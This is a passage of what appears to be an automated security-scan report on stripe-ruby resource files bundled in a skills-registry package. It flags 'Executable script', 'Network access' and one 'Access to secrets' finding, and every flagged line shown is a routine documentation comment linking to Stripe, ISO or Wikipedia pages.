    # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective.
  • Network accessline 67
    # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_transfer`, `contribution`

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/bank_account.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # These bank accounts are payment methods on `Customer` objects.   #   # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer
  • Network accessline 6
    #   # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer   # destinations on `Account` objects for connected accounts.
  • Network accessline 7
    # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer
  • Network accessline 9
    # They can be bank accounts or debit cards as well, and are documented in the links above.   #   # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers)
  • Network accessline 11
    # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers)
  • Network accessline 105
    # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account.
  • Network accessline 113
    # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.
  • Network accessline 119
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 127
    # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation performed is `new`. If Stripe can
  • Network accessline 129
    # For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account details are 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/alert.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 60
    # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/alert_triggered.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_summary.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_grant.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A credit grant is an API resource that documents the allocation of some billing credits to a customer.     #     # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits)
  • Network accessline 8
    # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits)
  • Network accessline 21
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 62
    # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combinati
  • Network accessline 64
    # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combination with `pri
  • Network accessline 106
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Meters specify how to aggregate meter events over a billing period. Meter events represent the actions that customers take in your system. Meters attach to prices and form the basis of the bill.     #     # Related guide: [Usage based bil
  • Network accessline 8
    # Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [payload

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_adjustment.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_summary.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing_portal/configuration.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal).
  • Network accessline 169
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 223
    # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer portal.
  • Network accessline 242
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 254
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing_portal/session.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # and billing details.     #     # Related guide: [Customer management](https://docs.stripe.com/customer-management)
  • Network accessline 19
    # Related guide: [Customer management](https://docs.stripe.com/customer-management)
  • Network accessline 142
    # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 144
    # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_
  • Network accessline 146
    # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.
  • Network accessline 159
    # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable.
  • Network accessline 204
    # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows.
  • Network accessline 214
    # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separa

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/capability.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # This is an object representing a capability for a Stripe account.   #   # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities)
  • Network accessline 7
    # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities)
  • Network accessline 112
    # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/card.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # transfer to those cards later.   #   # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 9
    # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards)
  • Network accessline 58
    # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or recipients). The card c
  • Network accessline 62
    # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attaching a card to a Custo
  • Network accessline 88
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 98
    # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are stopped until account details ar

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/cash_balance.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/charge.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # The `Charge` object represents a single attempt to move money into your Stripe account.   # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also
  • Network accessline 6
    # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also create Charges.
  • Network accessline 26
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 142
    # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines).
  • Network accessline 148
    # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe](https://docs.stripe.com/declines#blo
  • Network accessline 150
    # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's default review rule have the value `
  • Network accessline 160
    # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar/reviews) for details.
  • Network accessline 241
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 243
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 669
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 677
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 692
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 700
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 746
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 754
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 769
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 777
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 873
    # Installment details for this payment.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 875
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 982
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 986
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1008
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 1211
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1529
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1531
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1738
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1860
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1862
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1991
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 2087
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 2103
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2111
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2156
    # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a
  • Network accessline 2164
    # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.
  • Network accessline 2166
    # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.
  • Network accessline 2180
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2190
    # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes).
  • Network accessline 2202
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 2206
    # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 2208
    # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details.
  • Network accessline 2220
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 2238
    # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 2240
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 2244
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 2250
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 2252
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
  • Network accessline 2255
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 2256
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 2257
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 2259
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 2269
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 2270
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 2271
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 2273
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 2283
    # This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/checkout/session.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Checkout Session represents your customer's session as they pay for     # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout)
  • Network accessline 7
    # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout)
  • Network accessline 8
    # or [Payment Links](https://docs.stripe.com/payments/payment-links). We recommend creating a
  • Network accessline 10
    #     # Once payment is successful, the Checkout Session will contain a reference     # to the [Customer](https://docs.stripe.com/api/customers), and either the successful
  • Network accessline 11
    # Once payment is successful, the Checkout Session will contain a reference     # to the [Customer](https://docs.stripe.com/api/customers), and either the successful     # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an a
  • Network accessline 12
    # to the [Customer](https://docs.stripe.com/api/customers), and either the successful
  • Network accessline 13
    # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an active
  • Network accessline 14
    # [Subscription](https://docs.stripe.com/api/subscriptions).
  • Network accessline 17
    # to begin Checkout.     #     # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart)
  • Network accessline 19
    # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart)
  • Network accessline 31
    # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions).
  • Network accessline 111
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 128
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 151
    # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility).
  • Network accessline 172
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 180
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 475
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 483
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 607
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1020
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 2022
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 2023
    # It contains information about when the discount began, when it will end, and what it is applied to.             #             # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 2025
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 2112
    # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 2134
    # The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.js embedded checkout.       #  For `
  • Network accessline 2135
    #  For `ui_mode: custom`, use the client secret with [initCheckout](https://docs.stripe.com/js/custom_checkout/init) on your front end.
  • Access to secretsline 2136
    [Credential-related source omitted]
  • Network accessline 2145
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2147
    # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31.
  • Network accessline 2173
    # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard
  • Network accessline 2189
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 2201
    # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) inst
  • Network accessline 2227
    # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`.
  • Network accessline 2233
    # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) instead.
  • Network accessline 2247
    # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode.
  • Network accessline 2258
    # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checkout/custom-domains), the
  • Network accessline 2328
    # Updates a Checkout Session object.       #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
  • Network accessline 2330
    # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/order.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 71
    # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit.
  • Network accessline 89
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order.
  • Network accessline 103
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/product.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 38
    # Unique identifier for the object. For convenience, Climate product IDs are human-readable strings       # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)
  • Network accessline 39
    # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/supplier.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/confirmation_token.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    #   # To learn more about how to use ConfirmationToken, visit the related guides:   # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)
  • Network accessline 9
    # To learn more about how to use ConfirmationToken, visit the related guides:   # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)   # - [Build two-step confirmation](https://docs.stripe.
  • Network accessline 10
    # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)
  • Network accessline 11
    # - [Build two-step confirmation](https://docs.stripe.com/payments/build-a-two-step-confirmation).
  • Network accessline 245
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 253
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 388
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 392
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 414
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 547
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 555
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 570
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 578
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 624
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 632
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 647
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 655
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 818
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 820
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 977
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1641
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1649
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1695
    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.     #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen
  • Network accessline 1697
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/connect_collection_transfer.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/country_spec.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    #   # You can also view the information from this API call as [an online   # guide](https://docs.stripe.com/docs/connect/required-verification-information).
  • Network accessline 10
    # guide](https://docs.stripe.com/docs/connect/required-verification-information).
  • Network accessline 72
    # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `stripe` payment method refers to [charging th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/coupon.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A coupon contains information about a percent-off or amount-off discount you   # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoice
  • Network accessline 6
    # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoices),
  • Network accessline 7
    # [checkout sessions](https://docs.stripe.com/api/checkout/sessions), [quotes](https://api.stripe.com#quotes), and more. Coupons do not work with conventional one-off [charges](https://api.stripe.com#create_charge) or [payment intents](http
  • Network accessline 50
    # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off.
  • Network accessline 52
    # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 64
